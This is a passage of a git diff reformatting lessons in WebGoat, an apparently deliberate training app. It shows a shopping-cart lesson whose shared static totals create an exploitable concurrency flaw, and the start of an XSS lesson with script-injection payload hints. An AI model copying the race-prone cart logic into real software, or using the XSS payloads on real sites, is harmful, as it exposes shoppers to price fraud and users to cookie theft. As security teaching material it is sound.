formatInt(total) + ".00")); - table.addElement(tr); - - // Item 4 - tr = new TR(); - tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); - tr.addElement(new TD().addElement("$649.00").setAlign("right")); - tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center")); - - total = quantity4 * 649; - calcTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); - - ec.addElement(table); - - table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - table.setBorder(1); - } - - ec.addElement(new BR()); - - // Total Charged - tr = new TR(); - tr.addElement(new TD().addElement("Total Amount Charged to Your Credit Card:")); - tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right")); - table.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - table.addElement(tr); - - // Return to Store Button - Element b = ECSFactory.makeButton("Return to Store"); - tr = new TR(); - tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center")); - table.addElement(tr); - - ec.addElement(table); - ec.addElement(new BR()); - - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return (ec); - } - - /* - * SHOPPING PAGE - */ - - private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) - { - - ElementContainer ec = new ElementContainer(); - subTOTAL = 0; - - try - { - - ec.addElement(new HR().setWidth("90%")); - ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); - Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") - .setAlign("center"); - - if (s.isColor()) - { - table.setBorder(1); - } - - // Table Setup - TR tr = new TR(); - tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%")); - tr.addElement(new TH().addElement("Price").setWidth("10%")); - tr.addElement(new TH().addElement("Quantity").setWidth("3%")); - tr.addElement(new TH().addElement("Subtotal").setWidth("7%")); - table.addElement(tr); - - // Item 1 - tr = new TR(); // Create a new table object - tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); - tr.addElement(new TD().addElement("$169.00").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", String.valueOf(quantity1))) - .setAlign("right")); - - total = quantity1 * 169; - subTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); // Adds table to the HTML - - // Item 2 - tr = new TR(); - tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); - tr.addElement(new TD().addElement("$299.00").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", String.valueOf(quantity2))) - .setAlign("right")); - - total = quantity2 * 299; - subTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); - - // Item 3 - tr = new TR(); - tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); - tr.addElement(new TD().addElement("$1799.00").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", String.valueOf(quantity3))) - .setAlign("right")); - - total = quantity3 * 1799; - subTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); - - // Item 4 - tr = new TR(); - tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); - tr.addElement(new TD().addElement("$649.00").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", String.valueOf(quantity4))) - .setAlign("right")); - - total = quantity4 * 649; - subTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); - - ec.addElement(table); - - table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - table.setBorder(1); - } - - ec.addElement(new BR()); - - // Purchasing Amount - tr = new TR(); - tr.addElement(new TD().addElement("Total: " + "$" + formatInt(subTOTAL) + ".00").setAlign("left")); - table.addElement(tr); - - // Update Button - Element b = ECSFactory.makeButton("Update Cart"); - tr = new TR(); - tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); - table.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - table.addElement(tr); - - // Purchase Button - Element c = ECSFactory.makeButton("Purchase"); - tr = new TR(); - tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right")); - table.addElement(tr); - - ec.addElement(table); - ec.addElement(new BR()); - - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return (ec); - } - - String formatInt(int i) - { - NumberFormat intFormat = NumberFormat.getIntegerInstance(Locale.US); - return intFormat.format(i); - } - - String formatFloat(float f) - { - NumberFormat floatFormat = NumberFormat.getNumberInstance(Locale.US); - floatFormat.setMinimumFractionDigits(2); - floatFormat.setMaximumFractionDigits(2); - return floatFormat.format(f); - } - - int thinkPositive(int i) - { - if (i < 0) - return 0; - else - return i; - } - - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.CONCURRENCY; - } - - /** - * Gets the hints attribute of the AccessControlScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Can you purchase the merchandise in your shopping cart for a lower price?"); - hints.add("Try using a new browser window to get a lower price."); - hints.add("In window A, purchase a low cost item. In window B, update the card with a high cost item."); - hints.add("In window A, commit after updating cart in window B."); - - return hints; - } - - /** - * Gets the instructions attribute of the WeakAccessControl object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = "For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price."; - return (instructions); - } - - private final static Integer DEFAULT_RANKING = new Integer(120); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ - public String getTitle() - { - return "Shopping Cart Concurrency Flaw"; - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + // Shared Variables + private static int total = 0; + private static float runningTOTAL = 0; + private static int subTOTAL = 0; + private static float calcTOTAL = 0; + private static int quantity1 = 0; + private static int quantity2 = 0; + private static int quantity3 = 0; + private static int quantity4 = 0; + private float ratio = 0; + private int discount = 0; + + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + + protected Element createContent(WebSession s) + { + ElementContainer ec = null; + + try + { + String submit = s.getParser().getStringParameter("SUBMIT"); + + if ("Purchase".equalsIgnoreCase(submit)) + { + updateQuantity(s); + ec = createPurchaseContent(s, quantity1, quantity2, quantity3, quantity4); + } + else if ("Confirm".equalsIgnoreCase(submit)) + { + ec = confirmation(s, quantity1, quantity2, quantity3, quantity4); + + // Discount + + if (calcTOTAL == 0) // No total cost for items + { + discount = 0; // Discount meaningless + } + else + // The expected case -- items cost something + { + ratio = runningTOTAL / calcTOTAL; + } + + if (calcTOTAL > runningTOTAL) + { + // CONGRATS + discount = (int) (100 * (1 - ratio)); + s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount + + "% discount. Police are on the way to your IP address."); + + makeSuccess(s); + } + else if (calcTOTAL < runningTOTAL) + { + // ALMOST + discount = (int) (100 * (ratio - 1)); + s.setMessage("You are on the right track, but you actually overpaid by " + discount + + "%. Try again!"); + } + } + else + { + updateQuantity(s); + ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); + } + + } catch (ParameterNotFoundException pnfe) + { + // System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage"); + ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); + } + + return ec; + } + + // UPDATE QUANTITY VARIABLES + private void updateQuantity(WebSession s) + { + quantity1 = thinkPositive(s.getParser().getIntParameter("QTY1", 0)); + quantity2 = thinkPositive(s.getParser().getIntParameter("QTY2", 0)); + quantity3 = thinkPositive(s.getParser().getIntParameter("QTY3", 0)); + quantity4 = thinkPositive(s.getParser().getIntParameter("QTY4", 0)); + } + + /* + * PURCHASING PAGE + */ + + private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3, + int quantity4) + { + + ElementContainer ec = new ElementContainer(); + runningTOTAL = 0; + + String regex1 = "^[0-9]{3}$";// any three digits + Pattern pattern1 = Pattern.compile(regex1); + + try + { + String param1 = s.getParser().getRawParameter("PAC", "111"); + String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("CC", "5321 1337 8888 2007")); + + // test input field1 + if (!pattern1.matcher(param1).matches()) + { + s.setMessage("Error! You entered " + HtmlEncoder.encode(param1) + + " instead of your 3 digit code. Please try again."); + } + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Place your order "))); + Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") + .setAlign("center"); + + if (s.isColor()) + { + table.setBorder(1); + } + + // Table Setup + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%")); + tr.addElement(new TH().addElement("Price").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity").setWidth("3%")); + tr.addElement(new TH().addElement("Subtotal").setWidth("7%")); + table.addElement(tr); + + // Item 1 + tr = new TR(); // Create a new table object + tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); + tr.addElement(new TD().addElement("$169.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center")); + + total = quantity1 * 169; + runningTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); // Adds table to the HTML + + // Item 2 + tr = new TR(); + tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); + tr.addElement(new TD().addElement("$299.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center")); + + total = quantity2 * 299; + runningTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); + + // Item 3 + tr = new TR(); + tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); + tr.addElement(new TD().addElement("$1799.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center")); + + total = quantity3 * 1799; + runningTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); + + // Item 4 + tr = new TR(); + tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); + tr.addElement(new TD().addElement("$649.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center")); + + total = quantity4 * 649; + runningTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); + + ec.addElement(table); + + table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + table.setBorder(1); + } + + ec.addElement(new BR()); + + calcTOTAL = runningTOTAL; + + // Total Charged + tr = new TR(); + tr.addElement(new TD().addElement("Total:")); + tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right")); + table.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + table.addElement(tr); + + // Credit Card Input + tr = new TR(); + tr.addElement(new TD().addElement("Enter your credit card number:")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "CC", param2)).setAlign("right")); + table.addElement(tr); + + // PAC Input + tr = new TR(); + tr.addElement(new TD().addElement("Enter your three digit access code:")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "PAC", param1)).setAlign("right")); + table.addElement(tr); + + // Confirm Button + Element b = ECSFactory.makeButton("Confirm"); + tr = new TR(); + tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); + table.addElement(tr); + + // Cancel Button + Element c = ECSFactory.makeButton("Cancel"); + tr = new TR(); + tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right")); + table.addElement(tr); + + ec.addElement(table); + ec.addElement(new BR()); + + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /* + * CONFIRMATION PAGE + */ + + private ElementContainer confirmation(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) + { + ElementContainer ec = new ElementContainer(); + + final String confNumber = "CONC-88"; + calcTOTAL = 0; + try + { + // Thread.sleep(5000); + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Thank you for your purchase!"))); + ec.addElement(new Center().addElement(new H1().addElement("Confirmation number: " + confNumber))); + Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") + .setAlign("center"); + + if (s.isColor()) + { + table.setBorder(1); + } + + // Table Setup + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%")); + tr.addElement(new TH().addElement("Price").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity").setWidth("3%")); + tr.addElement(new TH().addElement("Subtotal").setWidth("7%")); + table.addElement(tr); + + // Item 1 + tr = new TR(); // Create a new table object + tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); + tr.addElement(new TD().addElement("$169.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center")); + + total = quantity1 * 169; + calcTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); // Adds table to the HTML + + // Item 2 + tr = new TR(); + tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); + tr.addElement(new TD().addElement("$299.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center")); + + total = quantity2 * 299; + calcTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); + + // Item 3 + tr = new TR(); + tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); + tr.addElement(new TD().addElement("$1799.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center")); + + total = quantity3 * 1799; + calcTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); + + // Item 4 + tr = new TR(); + tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); + tr.addElement(new TD().addElement("$649.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center")); + + total = quantity4 * 649; + calcTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); + + ec.addElement(table); + + table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + table.setBorder(1); + } + + ec.addElement(new BR()); + + // Total Charged + tr = new TR(); + tr.addElement(new TD().addElement("Total Amount Charged to Your Credit Card:")); + tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right")); + table.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + table.addElement(tr); + + // Return to Store Button + Element b = ECSFactory.makeButton("Return to Store"); + tr = new TR(); + tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center")); + table.addElement(tr); + + ec.addElement(table); + ec.addElement(new BR()); + + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } + + /* + * SHOPPING PAGE + */ + + private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) + { + + ElementContainer ec = new ElementContainer(); + subTOTAL = 0; + + try + { + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); + Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") + .setAlign("center"); + + if (s.isColor()) + { + table.setBorder(1); + } + + // Table Setup + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%")); + tr.addElement(new TH().addElement("Price").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity").setWidth("3%")); + tr.addElement(new TH().addElement("Subtotal").setWidth("7%")); + table.addElement(tr); + + // Item 1 + tr = new TR(); // Create a new table object + tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); + tr.addElement(new TD().addElement("$169.00").setAlign("right")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", String.valueOf(quantity1))) + .setAlign("right")); + + total = quantity1 * 169; + subTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); // Adds table to the HTML + + // Item 2 + tr = new TR(); + tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); + tr.addElement(new TD().addElement("$299.00").setAlign("right")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", String.valueOf(quantity2))) + .setAlign("right")); + + total = quantity2 * 299; + subTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); + + // Item 3 + tr = new TR(); + tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); + tr.addElement(new TD().addElement("$1799.00").setAlign("right")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", String.valueOf(quantity3))) + .setAlign("right")); + + total = quantity3 * 1799; + subTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); + + // Item 4 + tr = new TR(); + tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); + tr.addElement(new TD().addElement("$649.00").setAlign("right")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", String.valueOf(quantity4))) + .setAlign("right")); + + total = quantity4 * 649; + subTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); + table.addElement(tr); + + ec.addElement(table); + + table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + table.setBorder(1); + } + + ec.addElement(new BR()); + + // Purchasing Amount + tr = new TR(); + tr.addElement(new TD().addElement("Total: " + "$" + formatInt(subTOTAL) + ".00").setAlign("left")); + table.addElement(tr); + + // Update Button + Element b = ECSFactory.makeButton("Update Cart"); + tr = new TR(); + tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); + table.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + table.addElement(tr); + + // Purchase Button + Element c = ECSFactory.makeButton("Purchase"); + tr = new TR(); + tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right")); + table.addElement(tr); + + ec.addElement(table); + ec.addElement(new BR()); + + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } + + String formatInt(int i) + { + NumberFormat intFormat = NumberFormat.getIntegerInstance(Locale.US); + return intFormat.format(i); + } + + String formatFloat(float f) + { + NumberFormat floatFormat = NumberFormat.getNumberInstance(Locale.US); + floatFormat.setMinimumFractionDigits(2); + floatFormat.setMaximumFractionDigits(2); + return floatFormat.format(f); + } + + int thinkPositive(int i) + { + if (i < 0) + return 0; + else + return i; + } + + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.CONCURRENCY; + } + + /** + * Gets the hints attribute of the AccessControlScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Can you purchase the merchandise in your shopping cart for a lower price?"); + hints.add("Try using a new browser window to get a lower price."); + hints.add("In window A, purchase a low cost item. In window B, update the card with a high cost item."); + hints.add("In window A, commit after updating cart in window B."); + + return hints; + } + + /** + * Gets the instructions attribute of the WeakAccessControl object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price."; + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(120); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + public String getTitle() + { + return "Shopping Cart Concurrency Flaw"; + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } \ No newline at end of file diff --git a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java index de2c7856b..c22b3e07d 100644 --- a/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java +++ b/src/main/java/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java @@ -59,267 +59,267 @@ import org.owasp.webgoat.util.HtmlEncoder; */ public class CrossSiteScripting extends GoatHillsFinancial { - private final static Integer DEFAULT_RANKING = new Integer(100); + private final static Integer DEFAULT_RANKING = new Integer(100); - public final static String STAGE1 = "Stored XSS"; + public final static String STAGE1 = "Stored XSS"; - public final static String STAGE2 = "Block Stored XSS using Input Validation"; + public final static String STAGE2 = "Block Stored XSS using Input Validation"; - public final static String STAGE3 = "Stored XSS Revisited"; + public final static String STAGE3 = "Stored XSS Revisited"; - public final static String STAGE4 = "Block Stored XSS using Output Encoding"; + public final static String STAGE4 = "Block Stored XSS using Output Encoding"; - public final static String STAGE5 = "Reflected XSS"; + public final static String STAGE5 = "Reflected XSS"; - public final static String STAGE6 = "Block Reflected XSS"; + public final static String STAGE6 = "Block Reflected XSS"; - protected void registerActions(String className) - { - registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); - registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); - registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); - registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); - registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); + protected void registerActions(String className) + { + registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); + registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); + registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); + registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); - // These actions are special in that they chain to other actions. - registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); - registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); - registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); - } + // These actions are special in that they chain to other actions. + registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); + registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); + registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); + } - /** - * Gets the category attribute of the CrossSiteScripting object - * - * @return The category value - */ - public Category getDefaultCategory() - { - return Category.XSS; - } + /** + * Gets the category attribute of the CrossSiteScripting object + * + * @return The category value + */ + public Category getDefaultCategory() + { + return Category.XSS; + } - public String getLessonSolutionFileName(WebSession s) - { - String solutionFileName = null; - String stage = getStage(s); - solutionFileName = "/lesson_solutions_1/Lab XSS/Lab " + stage + ".html"; - return solutionFileName; - } + public String getLessonSolutionFileName(WebSession s) + { + String solutionFileName = null; + String stage = getStage(s); + solutionFileName = "/lesson_solutions_1/Lab XSS/Lab " + stage + ".html"; + return solutionFileName; + } - @Override - public String getSolution(WebSession s) - { - String src = null; + @Override + public String getSolution(WebSession s) + { + String src = null; - try - { - // System.out.println("Solution: " + getLessonSolutionFileName(s)); - src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), - false); - } catch (IOException e) - { - s.setMessage("Could not find the solution file"); - src = ("Could not find the solution file"); - } + try + { + // System.out.println("Solution: " + getLessonSolutionFileName(s)); + src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), + false); + } catch (IOException e) + { + s.setMessage("Could not find the solution file"); + src = ("Could not find the solution file"); + } - return src; - } + return src; + } - /** - * Gets the hints attribute of the DirectoryScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); + /** + * Gets the hints attribute of the DirectoryScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); - // Stage 1 - hints.add("Stage1: You can put HTML tags in form input fields."); - hints.add("Stage1: Bury a SCRIPT tag in the field to attack anyone who reads it."); - hints - .add("Stage1: Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields."); - hints.add("Stage1: Enter this: <script>alert(\"document.cookie\");</script> in message fields."); + // Stage 1 + hints.add("Stage1: You can put HTML tags in form input fields."); + hints.add("Stage1: Bury a SCRIPT tag in the field to attack anyone who reads it."); + hints + .add("Stage1: Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields."); + hints.add("Stage1: Enter this: <script>alert(\"document.cookie\");</script> in message fields."); - // Stage 2 - hints.add("Stage2: Many scripts rely on the use of special characters such as: <"); - hints - .add("Stage2: Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); - hints.add("Stage2: The java.util.regex package is useful for filtering string values."); + // Stage 2 + hints.add("Stage2: Many scripts rely on the use of special characters such as: <"); + hints + .add("Stage2: Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); + hints.add("Stage2: The java.util.regex package is useful for filtering string values."); - // Stage 3 - hints - .add("Stage3: Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags."); - hints.add("Stage3: An HTML entity encoder is provided in the ParameterParser class."); + // Stage 3 + hints + .add("Stage3: Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags."); + hints.add("Stage3: An HTML entity encoder is provided in the ParameterParser class."); - // Stage 4 - hints - .add("Stage4: Examine content served in response to form submissions looking for data taken from the form."); - hints.add("Stage4: There is a class called HtmlEncoder in org.owasp.webgoat.util"); - // Stage 5 - hints - .add("Stage5: Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");"); + // Stage 4 + hints + .add("Stage4: Examine content served in response to form submissions looking for data taken from the form."); + hints.add("Stage4: There is a class called HtmlEncoder in org.owasp.webgoat.util"); + // Stage 5 + hints + .add("Stage5: Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");"); - return hints; - } + return hints; + } - /** - * Gets the instructions attribute of the ParameterInjection object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = ""; + /** + * Gets the instructions attribute of the ParameterInjection object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = ""; - if (!getLessonTracker(s).getCompleted()) - { - String stage = getStage(s); - if (STAGE1.equals(stage)) - { - instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.
" - + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " - + "Verify that 'Jerry' is affected by the attack.
The passwords for the accounts are the lower-case " - + "versions of their given names (e.g. the password for Tom Cat is \"tom\")."; - } - else if (STAGE2.equals(stage)) - { - instructions = "Stage 2: Block Stored XSS using Input Validation.

" - + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" - + "Implement a fix to block the stored XSS before it can be written to the database. " - + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; - } - else if (STAGE3.equals(stage)) - { - instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack.
" - + "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. " - + "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place."; - } - else if (STAGE4.equals(stage)) - { - instructions = "Stage 4: Block Stored XSS using Output Encoding.

" - + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" - + "Implement a fix to block XSS after it is read from the database. " - + "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack."; - } - else if (STAGE5.equals(stage)) - { - instructions = "Stage 5: Execute a Reflected XSS attack.
" - + "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. " - + "Verify that another employee using the link is affected by the attack."; - } - else if (STAGE6.equals(stage)) - { - instructions = "Stage 6: Block Reflected XSS using Input Validation.

" - + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" - + "Implement a fix to block this reflected XSS attack. " - + "Repeat step 5. Verify that the attack URL is no longer effective."; - } - } + if (!getLessonTracker(s).getCompleted()) + { + String stage = getStage(s); + if (STAGE1.equals(stage)) + { + instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.
" + + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " + + "Verify that 'Jerry' is affected by the attack.
The passwords for the accounts are the lower-case " + + "versions of their given names (e.g. the password for Tom Cat is \"tom\")."; + } + else if (STAGE2.equals(stage)) + { + instructions = "Stage 2: Block Stored XSS using Input Validation.

